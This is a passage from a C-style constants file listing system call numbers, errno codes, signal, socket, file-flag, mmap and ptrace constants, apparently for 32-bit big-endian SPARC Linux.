270\n#define __NR_io_cancel 271\n#define __NR_io_getevents 272\n#define __NR_mq_open 273\n#define __NR_mq_unlink 274\n#define __NR_mq_timedsend 275\n#define __NR_mq_timedreceive 276\n#define __NR_mq_notify 277\n#define __NR_mq_getsetattr 278\n#define __NR_waitid 279\n#define __NR_sys_setaltroot 280\n#define __NR_add_key 281\n#define __NR_request_key 282\n#define __NR_keyctl 283\n#define __NR_openat 284\n#define __NR_mkdirat 285\n#define __NR_mknodat 286\n#define __NR_fchownat 287\n#define __NR_futimesat 288\n#define __NR_fstatat64 289\n#define __NR_unlinkat 290\n#define __NR_renameat 291\n#define __NR_linkat 292\n#define __NR_symlinkat 293\n#define __NR_readlinkat 294\n#define __NR_fchmodat 295\n#define __NR_faccessat 296\n#define __NR_pselect6 297\n#define __NR_ppoll 298\n#define __NR_unshare 299\n#define __NR_set_robust_list 300\n#define __NR_get_robust_list 301\n#define __NR_migrate_pages 302\n#define __NR_mbind 303\n#define __NR_get_mempolicy 304\n#define __NR_set_mempolicy 305\n#define __NR_kexec_load 306\n#define __NR_move_pages 307\n#define __NR_getcpu 308\n#define __NR_epoll_pwait 309\n#define __NR_utimensat 310\n#define __NR_signalfd 311\n#define __NR_timerfd 312\n#define __NR_eventfd 313\n#define __NR_fallocate 314\n#define __NR_timerfd_settime 315\n#define __NR_timerfd_gettime 316\n#define __NR_signalfd4 317\n#define __NR_eventfd2 318\n#define __NR_epoll_create1 319\n#define __NR_dup3 320\n#define __NR_pipe2 321\n#define __NR_inotify_init1 322\n#define __NR_accept4 323\n#define __NR_preadv 324\n#define __NR_pwritev 325\n#define __NR_rt_tgsigqueueinfo 326\n#define __NR_perf_event_open 327\n#define __NR_recvmmsg 328\n#define __NR_fanotify_init 329\n#define __NR_fanotify_mark 330\n#define __NR_prlimit64 331\n#define __NR_name_to_handle_at 332\n#define __NR_open_by_handle_at 333\n#define __NR_clock_adjtime 334\n#define __NR_syncfs 335\n#define __NR_sendmmsg 336\n#define __NR_setns 337\n#define __NR_process_vm_readv 338\n#define __NR_process_vm_writev 339\n#define __NR_kern_features 340\n#define __NR_kcmp 341\n#define __NR_finit_module 342\n#define __NR_sched_setattr 343\n#define __NR_sched_getattr 344\n#define __NR_renameat2 345\n#define __NR_seccomp 346\n#define __NR_getrandom 347\n#define __NR_memfd_create 348\n#define __NR_bpf 349\n#define __NR_execveat 350\n#define __NR_membarrier 351\n#define __NR_userfaultfd 352\n#define __NR_bind 353\n#define __NR_listen 354\n#define __NR_setsockopt 355\n#define __NR_mlock2 356\n#define __NR_copy_file_range 357\n#define __NR_preadv2 358\n#define __NR_pwritev2 359\n#define __NR_statx 360\n#define __NR_io_pgetevents 361\n#define __NR_pkey_mprotect 362\n#define __NR_pkey_alloc 363\n#define __NR_pkey_free 364\n#define __NR_rseq 365\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EWOULDBLOCK 11\n#define EINPROGRESS 36\n#define EALREADY 37\n#define ENOTSOCK 38\n#define EDESTADDRREQ 39\n#define EMSGSIZE 40\n#define EPROTOTYPE 41\n#define ENOPROTOOPT 42\n#define EPROTONOSUPPORT 43\n#define ESOCKTNOSUPPORT 44\n#define EOPNOTSUPP 45\n#define ENOTSUP 45\n#define EPFNOSUPPORT 46\n#define EAFNOSUPPORT 47\n#define EADDRINUSE 48\n#define EADDRNOTAVAIL 49\n#define ENETDOWN 50\n#define ENETUNREACH 51\n#define ENETRESET 52\n#define ECONNABORTED 53\n#define ECONNRESET 54\n#define ENOBUFS 55\n#define EISCONN 56\n#define ENOTCONN 57\n#define ESHUTDOWN 58\n#define ETOOMANYREFS 59\n#define ETIMEDOUT 60\n#define ECONNREFUSED 61\n#define ELOOP 62\n#define ENAMETOOLONG 63\n#define EHOSTDOWN 64\n#define EHOSTUNREACH 65\n#define ENOTEMPTY 66\n#define EPROCLIM 67\n#define EUSERS 68\n#define EDQUOT 69\n#define ESTALE 70\n#define EREMOTE 71\n#define ENOSTR 72\n#define ETIME 73\n#define ENOSR 74\n#define ENOMSG 75\n#define EBADMSG 76\n#define EIDRM 77\n#define EDEADLK 78\n#define ENOLCK 79\n#define ENONET 80\n#define ERREMOTE 81\n#define ENOLINK 82\n#define EADV 83\n#define ESRMNT 84\n#define ECOMM 85\n#define EPROTO 86\n#define EMULTIHOP 87\n#define EDOTDOT 88\n#define EREMCHG 89\n#define ENOSYS 90\n#define ESTRPIPE 91\n#define EOVERFLOW 92\n#define EBADFD 93\n#define ECHRNG 94\n#define EL2NSYNC 95\n#define EL3HLT 96\n#define EL3RST 97\n#define ELNRNG 98\n#define EUNATCH 99\n#define ENOCSI 100\n#define EL2HLT 101\n#define EBADE 102\n#define EBADR 103\n#define EXFULL 104\n#define ENOANO 105\n#define EBADRQC 106\n#define EBADSLT 107\n#define EDEADLOCK 108\n#define EBFONT 109\n#define ELIBEXEC 110\n#define ENODATA 111\n#define ELIBBAD 112\n#define ENOPKG 113\n#define ELIBACC 114\n#define ENOTUNIQ 115\n#define ERESTART 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EILSEQ 122\n#define ELIBMAX 123\n#define ELIBSCN 124\n#define ENOMEDIUM 125\n#define EMEDIUMTYPE 126\n#define ECANCELED 127\n#define ENOKEY 128\n#define EKEYEXPIRED 129\n#define EKEYREVOKED 130\n#define EKEYREJECTED 131\n#define EOWNERDEAD 132\n#define ENOTRECOVERABLE 133\n#define ERFKILL 134\n#define EHWPOISON 135\n#define __SYS_NERR ((135) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGEMT 7\n#define SIGBUS 10\n#define SIGSYS 12\n#define SIGURG 16\n#define SIGSTOP 17\n#define SIGTSTP 18\n#define SIGCONT 19\n#define SIGCHLD 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGIO 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGPWR 29\n#define SIGUSR1 30\n#define SIGUSR2 31\n#define SIGCLD 20\n#define SIGPOLL 23\n#define SIGLOST 29\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SV_SSTACK 1\n#define SV_INTR 2\n#define SV_RESET 4\n#define SV_IGNCHILD 8\n#define SA_NOCLDSTOP 8\n#define SA_STACK 1\n#define SA_ONSTACK 1\n#define SA_RESTART 2\n#define SA_RESETHAND 4\n#define SA_INTERRUPT 0x10\n#define SA_NODEFER 0x20\n#define SA_SHIRQ 0x40\n#define SA_NOCLDWAIT 0x100\n#define SA_SIGINFO 0x200\n#define SA_NOMASK 0x20\n#define SA_ONESHOT 4\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 4\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define __SUNOS_MAXWIN 31\n#define MC_TSTATE 0\n#define MC_PC 1\n#define MC_NPC 2\n#define MC_Y 3\n#define MC_G1 4\n#define MC_G2 5\n#define MC_G3 6\n#define MC_G4 7\n#define MC_G5 8\n#define MC_G6 9\n#define MC_G7 10\n#define MC_O0 11\n#define MC_O1 12\n#define MC_O2 13\n#define MC_O3 14\n#define MC_O4 15\n#define MC_O5 16\n#define MC_O6 17\n#define MC_O7 18\n#define MC_NGREG 19\n#define MC_MAXFPQ 16\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 0xffff\n#define SO_DEBUG 0x0001\n#define SO_PASSCRED 0x0002\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_PEERCRED 0x0040\n#define SO_LINGER 0x0080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_BSDCOMPAT 0x0400\n#define SO_RCVLOWAT 0x0800\n#define SO_SNDLOWAT 0x1000\n#define SO_RCVTIMEO 0x2000\n#define SO_SNDTIMEO 0x4000\n#define SO_ACCEPTCONN 0x8000\n#define SO_DONTLINGER (~0x0080)\n#define SO_SNDBUF 0x1001\n#define SO_RCVBUF 0x1002\n#define SO_SNDBUFFORCE 0x100a\n#define SO_RCVBUFFORCE 0x100b\n#define SO_ERROR 0x1007\n#define SO_TYPE 0x1008\n#define SO_ATTACH_FILTER 0x001a\n#define SO_DETACH_FILTER 0x001b\n#define SO_GET_FILTER 0x001a\n#define SO_PEERNAME 0x001c\n#define SO_TIMESTAMP 0x001d\n#define SCM_TIMESTAMP 0x001d\n#define SO_PEERSEC 0x001e\n#define SO_PASSSEC 0x001f\n#define SO_TIMESTAMPNS 0x0021\n#define SCM_TIMESTAMPNS 0x0021\n#define SO_MARK 0x0022\n#define SO_TIMESTAMPING 0x0023\n#define SCM_TIMESTAMPING 0x0023\n#define SO_RXQ_OVFL 0x0024\n#define SO_WIFI_STATUS 0x0025\n#define SCM_WIFI_STATUS 0x0025\n#define SO_PEEK_OFF 0x0026\n#define SO_NOFCS 0x0027\n#define SO_LOCK_FILTER 0x0028\n#define SO_SELECT_ERR_QUEUE 0x0029\n#define SO_BUSY_POLL 0x0030\n#define SO_MAX_PACING_RATE 0x0031\n#define SO_BPF_EXTENSIONS 0x0032\n#define SO_INCOMING_CPU 0x0033\n#define SO_ATTACH_BPF 0x0034\n#define SO_DETACH_BPF 0x001b\n#define SO_ATTACH_REUSEPORT_CBPF 0x0035\n#define SO_ATTACH_REUSEPORT_EBPF 0x0036\n#define SO_CNX_ADVICE 0x0037\n#define SCM_TIMESTAMPING_OPT_STATS 0x0038\n#define SO_MEMINFO 0x0039\n#define SO_INCOMING_NAPI_ID 0x003a\n#define SO_COOKIE 0x003b\n#define SCM_TIMESTAMPING_PKTINFO 0x003c\n#define SO_PEERGROUPS 0x003d\n#define SO_ZEROCOPY 0x003e\n#define SO_SECURITY_AUTHENTICATION 0x5001\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 0x5002\n#define SO_SECURITY_ENCRYPTION_NETWORK 0x5004\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_RDONLY 0x0000\n#define O_WRONLY 0x0001\n#define O_RDWR 0x0002\n#define O_ACCMODE 0x0003\n#define O_APPEND 0x0008\n#define FASYNC 0x0040\n#define O_CREAT 0x0200\n#define O_TRUNC 0x0400\n#define O_EXCL 0x0800\n#define O_DSYNC 0x2000\n#define O_NONBLOCK 0x4000\n#define O_NDELAY (0x0004 | 0x4000)\n#define O_NOCTTY 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_LARGEFILE 0x40000\n#define O_DIRECT 0x100000\n#define O_NOATIME 0x200000\n#define O_CLOEXEC 0x400000\n#define O_SYNC (0x800000|0x2000)\n#define O_PATH 0x1000000\n#define __O_TMPFILE 0x2000000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETOWN 5\n#define F_SETOWN 6\n#define F_GETLK 7\n#define F_SETLK 8\n#define F_SETLKW 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 1\n#define F_WRLCK 2\n#define F_UNLCK 3\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE (0x2000000 | 0x10000)\n#define O_ASYNC 0x0040\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_RENAME 0x20\n#define MAP_NORESERVE 0x40\n#define MAP_INHERIT 0x80\n#define MAP_LOCKED 0x100\n#define _MAP_NEW 0x80000000\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 0x2000\n#define MCL_FUTURE 0x4000\n#define MCL_ONFAULT 0x8000\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MADV_FREE 0x5\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define 